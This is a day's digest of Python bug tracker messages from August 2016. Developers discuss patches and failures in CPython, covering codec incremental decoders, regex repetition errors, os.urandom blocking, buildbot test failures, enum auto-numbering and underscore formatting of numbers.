Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 04:33:35 2016 From: report at bugs.python.org (Mark Dickinson) Date: Fri, 19 Aug 2016 08:33:35 +0000 Subject: [issue27662] Check against PY_SSIZE_T_MAX instead of PY_SIZE_MAX in List_New In-Reply-To: <1470037390.18.0.139195089898.issue27662@psf.upfronthosting.co.za> Message-ID: <1471595615.01.0.775283745788.issue27662@psf.upfronthosting.co.za> Mark Dickinson added the comment: There's also still a use of PY_SIZE_MAX in the list_resize function. Would it be worth fixing that one too? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 04:42:43 2016 From: report at bugs.python.org (Xiang Zhang) Date: Fri, 19 Aug 2016 08:42:43 +0000 Subject: [issue27662] Check against PY_SSIZE_T_MAX instead of PY_SIZE_MAX in List_New In-Reply-To: <1470037390.18.0.139195089898.issue27662@psf.upfronthosting.co.za> Message-ID: <1471596163.21.0.408249427158.issue27662@psf.upfronthosting.co.za> Xiang Zhang added the comment: Just remove it. Regenerate the patch. As for list_resize, I have already fired another issue27660. ---------- Added file: http://bugs.python.org/file44147/List_New_Calloc_v2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 04:44:00 2016 From: report at bugs.python.org (Berker Peksag) Date: Fri, 19 Aug 2016 08:44:00 +0000 Subject: [issue26689] Add `has_flag` method to `distutils.CCompiler` In-Reply-To: <1459643481.74.0.720699620632.issue26689@psf.upfronthosting.co.za> Message-ID: <1471596240.61.0.964283749673.issue26689@psf.upfronthosting.co.za> Changes by Berker Peksag : ---------- nosy: +berker.peksag stage: commit review -> patch review versions: -Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 04:46:20 2016 From: report at bugs.python.org (Mark Dickinson) Date: Fri, 19 Aug 2016 08:46:20 +0000 Subject: [issue27662] Check against PY_SSIZE_T_MAX instead of PY_SIZE_MAX in List_New In-Reply-To: <1470037390.18.0.139195089898.issue27662@psf.upfronthosting.co.za> Message-ID: <1471596380.67.0.926737313352.issue27662@psf.upfronthosting.co.za> Mark Dickinson added the comment: LGTM. Thanks! I'll apply this later today, unless someone beats me to it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 04:51:51 2016 From: report at bugs.python.org (Roundup Robot) Date: Fri, 19 Aug 2016 08:51:51 +0000 Subject: [issue12946] PyModule_GetDict() claims it can never fail, but it can In-Reply-To: <1315585192.34.0.742122652176.issue12946@psf.upfronthosting.co.za> Message-ID: <20160819085141.24558.55486.C30460E6@psf.io> Roundup Robot added the comment: New changeset bd2a4c138b76 by Berker Peksag in branch '3.5': Issue #12946: Document that PyModule_GetDict can fail in some cases https://hg.python.org/cpython/rev/bd2a4c138b76 New changeset c2e74b88947d by Berker Peksag in branch 'default': Issue #12946: Merge from 3.5 https://hg.python.org/cpython/rev/c2e74b88947d ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 04:59:40 2016 From: report at bugs.python.org (Roundup Robot) Date: Fri, 19 Aug 2016 08:59:40 +0000 Subject: [issue12946] PyModule_GetDict() claims it can never fail, but it can In-Reply-To: <1315585192.34.0.742122652176.issue12946@psf.upfronthosting.co.za> Message-ID: <20160819085936.31581.57657.3F4F8BED@psf.io> Roundup Robot added the comment: New changeset 4b64a049f451 by Berker Peksag in branch 'default': Issue #12946: Remove dead code in PyModule_GetDict https://hg.python.org/cpython/rev/4b64a049f451 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 05:00:00 2016 From: report at bugs.python.org (Berker Peksag) Date: Fri, 19 Aug 2016 09:00:00 +0000 Subject: [issue12946] PyModule_GetDict() claims it can never fail, but it can In-Reply-To: <1315585192.34.0.742122652176.issue12946@psf.upfronthosting.co.za> Message-ID: <1471597200.78.0.482022718169.issue12946@psf.upfronthosting.co.za> Changes by Berker Peksag : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 05:00:17 2016 From: report at bugs.python.org (Berker Peksag) Date: Fri, 19 Aug 2016 09:00:17 +0000 Subject: [issue12946] PyModule_GetDict() claims it can never fail, but it can In-Reply-To: <1315585192.34.0.742122652176.issue12946@psf.upfronthosting.co.za> Message-ID: <1471597217.92.0.3195506604.issue12946@psf.upfronthosting.co.za> Berker Peksag added the comment: Thanks for the report, Stefan! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 05:06:30 2016 From: report at bugs.python.org (Martin Panter) Date: Fri, 19 Aug 2016 09:06:30 +0000 Subject: [issue23231] Fix codecs.iterencode/decode() by allowing data parameter to be omitted In-Reply-To: <1421153299.35.0.701583632763.issue23231@psf.upfronthosting.co.za> Message-ID: <1471597590.95.0.83137953279.issue23231@psf.upfronthosting.co.za> Martin Panter added the comment: Serhiy?s two proposals won?t work for codecs that include non-zero output for zero input: >>> tuple(iterencode((), "utf-8-sig")) (b'\xef\xbb\xbf',) >>> encode(b"", "uu") b'begin 666 \n \nend\n' >>> encode(b"", "zlib") b'x\x9c\x03\x00\x00\x00\x00\x01' However I agree that changing the incremental codec APIs is not ideal. Since nobody seems to care that much, it might be simpler to document that: * iterencode() only works where text str objects can be encoded, so base64-codec is not supported, but rot13-codec is supported * iterdecode() only works where bytes objects can be decoded, so rot13-codec is not supported, but base64-codec should be supported (pending other aspects of Issue 20132) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 05:11:21 2016 From: report at bugs.python.org (Ivan Levkivskyi) Date: Fri, 19 Aug 2016 09:11:21 +0000 Subject: [issue27598] Add SizedIterable to collections.abc and typing In-Reply-To: <1469288809.56.0.543825422436.issue27598@psf.upfronthosting.co.za> Message-ID: <1471597881.28.0.351342240958.issue27598@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: Thank you Neil, I agree that Sequence is a reversible collection. I combined you documentation patch with updated _collections_abc and updated test_functools (it tests MRO) into a single patch. ---------- Added file: http://bugs.python.org/file44148/collection_neil_combined.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 05:12:17 2016 From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=) Date: Fri, 19 Aug 2016 09:12:17 +0000 Subject: [issue26988] Add AutoNumberedEnum to stdlib In-Reply-To: <1462844071.91.0.106881823757.issue26988@psf.upfronthosting.co.za> Message-ID: <1471597937.35.0.853166396139.issue26988@psf.upfronthosting.co.za> Vedran ?a?i? added the comment: I must say I never understood how exactly is assigning a constant better in this regard. To me, after a = SOMETHING b = SOMETHING a and b should be the same, right? _Especially_ when SOMETHING is None or (), but also when it's some bare identifier like AUTO_ENUM. Mental models are already broken. We are already "lying" according to semantics of type metaclass. There is no reason then to have to sprinkle some magic dust over our code, just so it looks like an assignment is the most important thing here, when it really isn't. Either we should embrace Python's power in full and communicate to users that there's something weird going on, or we shouldn't have AutoEnum. To me, `green = None` is in no way better, in fact it seems more dishonest, than simply `green`. Again, _if_ we communicate (e.g. via style='declarative') that the semantics is not ordinary. (Alternatively, we might just write `green = uuid4()` and be done with it.:) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 05:54:06 2016 From: report at bugs.python.org (STINNER Victor) Date: Fri, 19 Aug 2016 09:54:06 +0000 Subject: [issue27798] test_sysconfig: test_srcdir() fails on "x86 Gentoo Installed with X 3.x" buildbot Message-ID: <1471600446.77.0.0232561146513.issue27798@psf.upfronthosting.co.za> New submission from STINNER Victor: http://buildbot.python.org/all/builders/x86%20Gentoo%20Installed%20with%20X%203.x/builds/879/steps/test/logs/stdio ====================================================================== FAIL: test_srcdir (test.test_sysconfig.TestSysConfig) ---------------------------------------------------------------------- Traceback (most recent call last): File "/buildbot/buildarea/3.x.ware-gentoo-x86.installed/build/target/lib/python3.6/test/test_sysconfig.py", line 346, in test_srcdir self.assertTrue(os.path.isdir(srcdir), srcdir) AssertionError: False is not true : /buildbot/buildarea/3.x.ware-gentoo-x86.installed/build/target/lib/python3.6/config-3.6m ====================================================================== FAIL: test_get_makefile_filename (test.test_sysconfig.MakefileTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/buildbot/buildarea/3.x.ware-gentoo-x86.installed/build/target/lib/python3.6/test/test_sysconfig.py", line 414, in test_get_makefile_filename self.assertTrue(os.path.isfile(makefile), makefile) AssertionError: False is not true : /buildbot/buildarea/3.x.ware-gentoo-x86.installed/build/target/lib/python3.6/config-3.6m/Makefile ---------------------------------------------------------------------- ---------- components: Distutils, Tests keywords: buildbot messages: 273104 nosy: dstufft, eric.araujo, haypo priority: normal severity: normal status: open title: test_sysconfig: test_srcdir() fails on "x86 Gentoo Installed with X 3.x" buildbot versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 07:48:00 2016 From: report at bugs.python.org (Kenneth Reitz) Date: Fri, 19 Aug 2016 11:48:00 +0000 Subject: [issue26988] Add AutoNumberedEnum to stdlib In-Reply-To: <1462844071.91.0.106881823757.issue26988@psf.upfronthosting.co.za> Message-ID: <1471607280.92.0.649923709436.issue26988@psf.upfronthosting.co.za> Kenneth Reitz added the comment: Explicit is better than implicit :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 07:52:00 2016 From: report at bugs.python.org (Martin Panter) Date: Fri, 19 Aug 2016 11:52:00 +0000 Subject: [issue27799] Fix base64-codec and bz2-codec incremental decoders Message-ID: <1471607520.64.0.769874977976.issue27799@psf.upfronthosting.co.za> New submission from Martin Panter: This is split off a large patch I posted at Issue 20132. My new patch here fixes the following two flaws. 1. There is special code in the bz2 decoder that returns an empty text str object at EOF, even though bz2-codec is a bytes-to-bytes codec: >>> import codecs >>> decoder = codecs.getincrementaldecoder("bz2")() >>> decoder.decode(codecs.encode(b"data", "bz2")) b'data' >>> decoder.decode(b"", final=True) # Should return bytes object '' 2. The base64 decoder does not handle partial sets of four codes, because it treats each input chunk as a stand-alone base64 encoding: >>> tuple(codecs.iterdecode((b"AA", b"AA\r\n"), "base64")) Traceback (most recent call last): File "", line 1, in File "/usr/lib/python3.5/codecs.py", line 1039, in iterdecode output = decoder.decode(input) File "/usr/lib/python3.5/encodings/base64_codec.py", line 35, in decode return base64.decodebytes(input) File "/usr/lib/python3.5/base64.py", line 554, in decodebytes return binascii.a2b_base64(s) binascii.Error: Incorrect padding ---------- components: Library (Lib) files: base64-decoder.patch keywords: patch messages: 273106 nosy: martin.panter priority: normal severity: normal stage: patch review status: open title: Fix base64-codec and bz2-codec incremental decoders type: behavior versions: Python 2.7, Python 3.5, Python 3.6 Added file: http://bugs.python.org/file44149/base64-decoder.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 08:07:00 2016 From: report at bugs.python.org (Martin Panter) Date: Fri, 19 Aug 2016 12:07:00 +0000 Subject: [issue27800] Regular expressions with multiple repeat codes Message-ID: <1471608420.14.0.872966965651.issue27800@psf.upfronthosting.co.za> New submission from Martin Panter: In the documentation for the ?re? module, it says repetition codes like {4} and ?*? operate on the preceding regular expression. But even though ?a{4}? is a valid expression, the obvious way to apply a ?*? repetition to it fails: >>> re.compile("a{4}*") Traceback (most recent call last): File "", line 1, in File "/home/proj/python/cpython/Lib/re.py", line 223, in compile return _compile(pattern, flags) File "/home/proj/python/cpython/Lib/re.py", line 292, in _compile p = sre_compile.compile(pattern, flags) File "/home/proj/python/cpython/Lib/sre_compile.py", line 555, in compile p = sre_parse.parse(p, flags) File "/home/proj/python/cpython/Lib/sre_parse.py", line 792, in parse p = _parse_sub(source, pattern, 0) File "/home/proj/python/cpython/Lib/sre_parse.py", line 406, in _parse_sub itemsappend(_parse(source, state)) File "/home/proj/python/cpython/Lib/sre_parse.py", line 610, in _parse source.tell() - here + len(this)) sre_constants.error: multiple repeat at position 4 As a workaround, I found I can wrap the inner repetition in (?:. . .): >>> re.compile("(?:a{4})*") re.compile('(?:a{4})*') The problems with the workaround are (a) it is far from obvious, and (b) it adds more complicated syntax. Either this limitation should be documented, or if there is no good reason for it, it should be lifted. It is not clear if my workaround is entirely valid, or if I just found a way to bypass some sanity check. My original use case was scanning a base-64 encoding for Issue 27799: # Without the second level of brackets, this raises a "multiple repeat" error chunk_re = br'(?: (?: [^A-Za-z0-9+/=]* [A-Za-z0-9+/=] ){4} )*' ---------- components: Regular Expressions messages: 273107 nosy: ezio.melotti, martin.panter, mrabarnett priority: normal severity: normal status: open title: Regular expressions with multiple repeat codes type: behavior versions: Python 2.7, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 08:08:31 2016 From: report at bugs.python.org (Martin Panter) Date: Fri, 19 Aug 2016 12:08:31 +0000 Subject: =?utf-8?q?=5Bissue20132=5D_Many_incremental_codecs_don=E2=80=99t_handle_f?= =?utf-8?q?ragmented_data?= In-Reply-To: <1388929738.44.0.851837204966.issue20132@psf.upfronthosting.co.za> Message-ID: <1471608511.59.0.755127810293.issue20132@psf.upfronthosting.co.za> Martin Panter added the comment: Split off Issue 27799 for the base-64 incremental decoder ---------- dependencies: +Fix base64-codec and bz2-codec incremental decoders _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 08:19:30 2016 From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=) Date: Fri, 19 Aug 2016 12:19:30 +0000 Subject: [issue26988] Add AutoNumberedEnum to stdlib In-Reply-To: <1462844071.91.0.106881823757.issue26988@psf.upfronthosting.co.za> Message-ID: <1471609170.1.0.143312838588.issue26988@psf.upfronthosting.co.za> Vedran ?a?i? added the comment: Absolutely. How the hell is `green = None` explicit?! On the other hand, `class Color(Enum, style='declarative'):` is explicit. People must learn something. Why then don't they learn the right thing instead of "hey, assigning None inside enums magically does the right thing" - except when it doesn't. Just a hint of a nightmare scenario: you write a method decorator, but you forget to return a value from it (happened to me more times than I care to admit). Ooops, your method is now next member of your enum. Good luck debugging that. :-O In fact, what _is_ explicit, is this: class Color(metaclass=Enum): green = object() yellow = object() I could live with it. :-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 08:28:01 2016 From: report at bugs.python.org (Eryk Sun) Date: Fri, 19 Aug 2016 12:28:01 +0000 Subject: [issue27797] ASCII file with UNIX line conventions and enough lines throws SyntaxError when ASCII-compatible codec is declared In-Reply-To: <1471592282.81.0.915425823239.issue27797@psf.upfronthosting.co.za> Message-ID: <1471609681.32.0.275952597579.issue27797@psf.upfronthosting.co.za> Eryk Sun added the comment: In issue 20844 I suggested opening the file in binary mode, i.e. change the call to _Py_wfopen(filename, L"rb") in Modules/main.c. That would also entail documenting that PyRun_SimpleFileExFlags requires a FILE pointer that's opened in binary mode. After making this change, there's no problem parsing "encoding-problem-cp1252.py": >python --version Python 3.6.0a4+ >python encoding-problem-cp1252.py ok When fp_setreadl is called while parsing "encoding-problem-cp1252.py", 47 bytes in the FILE buffer have been read -- up to the end of the coding spec. Let's verify this in the debugger: 0:000> bp python35_d!fp_setreadl 0:000> g Breakpoint 0 hit python35_d!fp_setreadl: 00000000`662bee00 4889542410 mov qword ptr [rsp+10h],rdx ss:000000d7`6cfeead8=000000d76cfeeaf8 0:000> ;as /x fp @@(((python35_d!tok_state *)@rcx)->fp) 0:000> ;as /x ptr @@(((ucrtbased!__crt_stdio_stream_data *)${fp})->_ptr) 0:000> ;as /x base @@(((ucrtbased!__crt_stdio_stream_data *)${fp})->_base) 0:000> ?? ${ptr} - ${base} int64 0n47 ftell() should return 47, but instead it returns -1. You can see this by opening the file in Python 2 on Windows, which uses FILE streams: >>> f = open('encoding-problem-cp1252.py') >>> f.read(47) '#!/usr/bin/env python\n# -*- coding: cp1252 -*-\n' >>> f.tell() Traceback (most recent call last): File "", line 1, in IOError: [Errno 0] Error ftell starts by getting the file position from the OS and then subtracts the unread bytes in the buffer. The buffer has already undergone CRLF => LF translation, so ftell makes an assumption that the file uses CRLF line endings and thus subtracts 2 bytes for each unread LF. In this case the buffer happens to have 48 unread LFs, so ftell returns -1, with the only actual error being a fundamentally flawed design in the CRT's text mode. ---------- nosy: +eryksun _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 08:28:58 2016 From: report at bugs.python.org (STINNER Victor) Date: Fri, 19 Aug 2016 12:28:58 +0000 Subject: [issue27776] PEP 524: Make os.urandom() blocking on Linux In-Reply-To: <1471352106.68.0.0657257565728.issue27776@psf.upfronthosting.co.za> Message-ID: <1471609738.53.0.704306337276.issue27776@psf.upfronthosting.co.za> STINNER Victor added the comment: Enhanced patch to address Nick's comments and fix mistakes. The new patch now also updates the documentation. I restored the code in _random.Random.seed() to fallback on the system clock: _PyOS_URandomNonblock() *can* fail is /dev/urandom is missing or not readable. I enhanced this part to not only read the system clock, but also use the current process identifier and get also the monotonic clock. Moreover, 64 bits are now used instead of 32 bits from the system clock (use a resolution of 1 nanoscond, not only 1 second). I didn't test yet the fall back on clocks/pid. It should be tested manually by modifying _PyOS_URandomNonblock() to always fail. ---------- Added file: http://bugs.python.org/file44150/urandom_nonblock-2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 08:31:14 2016 From: report at bugs.python.org (STINNER Victor) Date: Fri, 19 Aug 2016 12:31:14 +0000 Subject: [issue27797] ASCII file with UNIX line conventions and enough lines throws SyntaxError when ASCII-compatible codec is declared In-Reply-To: <1471592282.81.0.915425823239.issue27797@psf.upfronthosting.co.za> Message-ID: <1471609874.22.0.570460536859.issue27797@psf.upfronthosting.co.za> Changes by STINNER Victor : ---------- nosy: +haypo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 08:33:03 2016 From: report at bugs.python.org (STINNER Victor) Date: Fri, 19 Aug 2016 12:33:03 +0000 Subject: [issue27776] PEP 524: Make os.urandom() blocking on Linux In-Reply-To: <1471352106.68.0.0657257565728.issue27776@psf.upfronthosting.co.za> Message-ID: <1471609983.99.0.195882433044.issue27776@psf.upfronthosting.co.za> STINNER Victor added the comment: > _PyOS_URandomNonblock() *can* fail is /dev/urandom is missing or not readable Oh. It looks like Python initialization currently fails with a fatal error in this case, see _PyRandom_Init(). Maybe we should also fall back on clocks/pid in _PyRandom_Init()? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 08:39:39 2016 From: report at bugs.python.org (Dwayne Crooks) Date: Fri, 19 Aug 2016 12:39:39 +0000 Subject: [issue27801] test_update_lines_cols fails from test.test_curses.MiscTests fails on Ubuntu 14.04 LTS Message-ID: <1471610379.95.0.850112382064.issue27801@psf.upfronthosting.co.za> New submission from Dwayne Crooks: I was installing Python 3.5.2 from source on a Ubuntu 14.04 LTS virtual machine (it uses https://atlas.hashicorp.com/ubuntu/boxes/trusty64/versions/20160816.0.0). This is part of the result of running: ./python -m test -u curses -v test_curses ====================================================================== ERROR: test_update_lines_cols (test.test_curses.MiscTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/tmp/Python-3.5.2/Lib/test/test_curses.py", line 397, in test_update_lines_cols curses.update_lines_cols() AttributeError: module 'curses' has no attribute 'update_lines_cols' ---------------------------------------------------------------------- Ran 20 tests in 0.237s FAILED (errors=1, skipped=4) ---------- components: Tests messages: 273113 nosy: dwaynecrooks priority: normal severity: normal status: open title: test_update_lines_cols fails from test.test_curses.MiscTests fails on Ubuntu 14.04 LTS versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 08:40:40 2016 From: report at bugs.python.org (Dwayne Crooks) Date: Fri, 19 Aug 2016 12:40:40 +0000 Subject: [issue27801] test_update_lines_cols from test.test_curses.MiscTests fails on Ubuntu 14.04 LTS In-Reply-To: <1471610379.95.0.850112382064.issue27801@psf.upfronthosting.co.za> Message-ID: <1471610440.68.0.0923541183032.issue27801@psf.upfronthosting.co.za> Changes by Dwayne Crooks : ---------- title: test_update_lines_cols fails from test.test_curses.MiscTests fails on Ubuntu 14.04 LTS -> test_update_lines_cols from test.test_curses.MiscTests fails on Ubuntu 14.04 LTS _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 08:42:24 2016 From: report at bugs.python.org (Neil Girdhar) Date: Fri, 19 Aug 2016 12:42:24 +0000 Subject: [issue27802] Add __eq__ and __ne__ to collections.abc.Sequence. Message-ID: <1471610544.87.0.654898838156.issue27802@psf.upfronthosting.co.za> New submission from Neil Girdhar: Both Mapping and Set provide __eq__ and __ne__. Why not have Sequence do the same? ---------- messages: 273114 nosy: neil.g priority: normal severity: normal status: open title: Add __eq__ and __ne__ to collections.abc.Sequence. _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 08:42:54 2016 From: report at bugs.python.org (Neil Girdhar) Date: Fri, 19 Aug 2016 12:42:54 +0000 Subject: [issue27802] Add __eq__ and __ne__ to collections.abc.Sequence. In-Reply-To: <1471610544.87.0.654898838156.issue27802@psf.upfronthosting.co.za> Message-ID: <1471610574.75.0.453463299853.issue27802@psf.upfronthosting.co.za> Changes by Neil Girdhar : ---------- components: +Library (Lib) versions: +Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 08:49:28 2016 From: report at bugs.python.org (Jagannath Basu) Date: Fri, 19 Aug 2016 12:49:28 +0000 Subject: [issue25144] 3.5 Win install fails with "TARGETDIR" In-Reply-To: <1442424932.17.0.0389991499722.issue25144@psf.upfronthosting.co.za> Message-ID: <1471610968.41.0.173689717169.issue25144@psf.upfronthosting.co.za> Jagannath Basu added the comment: I ran the python-3.5.2.exe file as administrator (right click > Run as Admin) and then followed the custom installation to set up target directory. It got installed without further complaints. ---------- nosy: +basuj81 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 09:14:26 2016 From: report at bugs.python.org (Neil Girdhar) Date: Fri, 19 Aug 2016 13:14:26 +0000 Subject: [issue27802] Add __eq__ and __ne__ to collections.abc.Sequence. In-Reply-To: <1471610544.87.0.654898838156.issue27802@psf.upfronthosting.co.za> Message-ID: <1471612466.9.0.0656940565862.issue27802@psf.upfronthosting.co.za> Changes by Neil Girdhar : ---------- keywords: +patch Added file: http://bugs.python.org/file44151/abc_eq.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 09:16:15 2016 From: report at bugs.python.org (Neil Girdhar) Date: Fri, 19 Aug 2016 13:16:15 +0000 Subject: [issue27598] Add SizedIterable to collections.abc and typing In-Reply-To: <1469288809.56.0.543825422436.issue27598@psf.upfronthosting.co.za> Message-ID: <1471612574.99.0.191034774456.issue27598@psf.upfronthosting.co.za> Neil Girdhar added the comment: Given issue http://bugs.python.org/issue27802, it might be worth considering that all Collections implement __eq__ and __ne__, so maybe these should be abstract methods on Collection? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 09:17:06 2016 From: report at bugs.python.org (Chris Angelico) Date: Fri, 19 Aug 2016 13:17:06 +0000 Subject: [issue27080] Implement the formatting part of PEP 515, '_' in numeric literals. In-Reply-To: <1463863089.86.0.119019547094.issue27080@psf.upfronthosting.co.za> Message-ID: <1471612626.41.0.840308060123.issue27080@psf.upfronthosting.co.za> Changes by Chris Angelico : ---------- nosy: +Rosuav _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 09:24:12 2016 From: report at bugs.python.org (Chris Angelico) Date: Fri, 19 Aug 2016 13:24:12 +0000 Subject: [issue27080] Implement the formatting part of PEP 515, '_' in numeric literals. In-Reply-To: <1463863089.86.0.119019547094.issue27080@psf.upfronthosting.co.za> Message-ID: <1471613052.95.0.0137506202617.issue27080@psf.upfronthosting.co.za> Chris Angelico added the comment: Here's a first-cut patch. No docs, no tests, and applies only to decimal formatting. It involves redefining the thousands_separators flag from being a boolean to being a three-state flag (none, comma, or underscore), and (ab)uses LT_*_LOCALE to carry that same information around. ---------- keywords: +patch Added file: http://bugs.python.org/file44152/underscores_decimal_only.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 09:29:23 2016 From: report at bugs.python.org (STINNER Victor) Date: Fri, 19 Aug 2016 13:29:23 +0000 Subject: [issue26988] Add AutoNumberedEnum to stdlib In-Reply-To: <1471609170.1.0.143312838588.issue26988@psf.upfronthosting.co.za> Message-ID: STINNER Victor added the comment: 2016-08-19 14:19 GMT+02:00 Vedran ?a?i? : > In fact, what _is_ explicit, is this: > > class Color(metaclass=Enum): > green = object() > yellow = object() > > I could live with it. :-) For me, it's legit to use a singleton in an enum. I mean that I expect that green != yellow. Some remark for an empty tuple. So I woud really prefer a contant from enum like AUTO_ENUM. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 09:29:49 2016 From: report at bugs.python.org (Neil Girdhar) Date: Fri, 19 Aug 2016 13:29:49 +0000 Subject: [issue27598] Add Collection to collections.abc and typing In-Reply-To: <1469288809.56.0.543825422436.issue27598@psf.upfronthosting.co.za> Message-ID: <1471613389.5.0.228996290642.issue27598@psf.upfronthosting.co.za> Changes by Neil Girdhar : ---------- title: Add SizedIterable to collections.abc and typing -> Add Collection to collections.abc and typing _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 09:32:36 2016 From: report at bugs.python.org (Martin Panter) Date: Fri, 19 Aug 2016 13:32:36 +0000 Subject: [issue27802] Add __eq__ and __ne__ to collections.abc.Sequence. In-Reply-To: <1471610544.87.0.654898838156.issue27802@psf.upfronthosting.co.za> Message-ID: <1471613556.44.0.57071912455.issue27802@psf.upfronthosting.co.za> Martin Panter added the comment: Your implementation looks like it will make a Sequence equal to a list and a tuple, even though lists and tuples are never equal to each other. ---------- nosy: +martin.panter type: -> enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 09:34:11 2016 From: report at bugs.python.org (Chris Angelico) Date: Fri, 19 Aug 2016 13:34:11 +0000 Subject: [issue27080] Implement the formatting part of PEP 515, '_' in numeric literals. In-Reply-To: <1463863089.86.0.119019547094.issue27080@psf.upfronthosting.co.za> Message-ID: <1471613651.5.0.976731251875.issue27080@psf.upfronthosting.co.za> Chris Angelico added the comment: Hmm, adding bin/oct/hex support didn't turn out that hard. Although it feels like this code is getting hackish. Definitely needs code review! ---------- Added file: http://bugs.python.org/file44153/underscores_all_bases.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 09:34:27 2016 From: report at bugs.python.org (Neil Girdhar) Date: Fri, 19 Aug 2016 13:34:27 +0000 Subject: [issue27802] Add __eq__ and __ne__ to collections.abc.Sequence. In-Reply-To: <1471610544.87.0.654898838156.issue27802@psf.upfronthosting.co.za> Message-ID: <1471613667.53.0.757786798398.issue27802@psf.upfronthosting.co.za> Neil Girdhar added the comment: That's a really good point. Perhaps bring it up on ideas so that it can be discussed by more people? I don't know what the answer is. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 09:34:58 2016 From: report at bugs.python.org (Neil Girdhar) Date: Fri, 19 Aug 2016 13:34:58 +0000 Subject: [issue27802] Add __eq__ and __ne__ to collections.abc.Sequence. In-Reply-To: <1471610544.87.0.654898838156.issue27802@psf.upfronthosting.co.za> Message-ID: <1471613698.41.0.440732107401.issue27802@psf.upfronthosting.co.za> Neil Girdhar added the comment: (there's already an open thread.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 09:35:20 2016 From: report at bugs.python.org (Mark Dickinson) Date: Fri, 19 Aug 2016 13:35:20 +0000 Subject: [issue27792] bool % int has inconsistent return type. In-Reply-To: <1471522184.6.0.180727658767.issue27792@psf.upfronthosting.co.za> Message-ID: <1471613720.94.0.698697201393.issue27792@psf.upfronthosting.co.za> Changes by Mark Dickinson : ---------- assignee: -> mark.dickinson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 09:52:32 2016 From: report at bugs.python.org (Chris Angelico) Date: Fri, 19 Aug 2016 13:52:32 +0000 Subject: [issue27080] Implement the formatting part of PEP 515, '_' in numeric literals. In-Reply-To: <1463863089.86.0.119019547094.issue27080@psf.upfronthosting.co.za> Message-ID: <1471614752.9.0.329806606266.issue27080@psf.upfronthosting.co.za> Chris Angelico added the comment: Hmm, strange. Comma formatting never seems to have had tests added. So I've added a couple of simple tests of comma formatting at the same time as adding underscore formatting tests. Also, test_long.py currently has a comment "# octal" preceding a bunch of tests of *binary* formatting, and no tests of octal. So I've added those too. In any case, here's a patch with full functionality and tests. ---------- Added file: http://bugs.python.org/file44154/underscores_with_tests.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 10:16:49 2016 From: report at bugs.python.org (Berker Peksag) Date: Fri, 19 Aug 2016 14:16:49 +0000 Subject: [issue27801] test_update_lines_cols from test.test_curses.MiscTests fails on Ubuntu 14.04 LTS In-Reply-To: <1471610379.95.0.850112382064.issue27801@psf.upfronthosting.co.za> Message-ID: <1471616209.73.0.618737189396.issue27801@psf.upfronthosting.co.za> Berker Peksag added the comment: Thanks for the report! update_lines_cols() was added in 132b5376bf34. I guess we should just skip the test if update_lines_cols() is not available. ---------- nosy: +berker.peksag stage: -> needs patch type: -> behavior versions: +Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 10:34:13 2016 From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=) Date: Fri, 19 Aug 2016 14:34:13 +0000 Subject: [issue26988] Add AutoNumberedEnum to stdlib In-Reply-To: <1462844071.91.0.106881823757.issue26988@psf.upfronthosting.co.za> Message-ID: <1471617253.23.0.460552470856.issue26988@psf.upfronthosting.co.za> Vedran ?a?i? 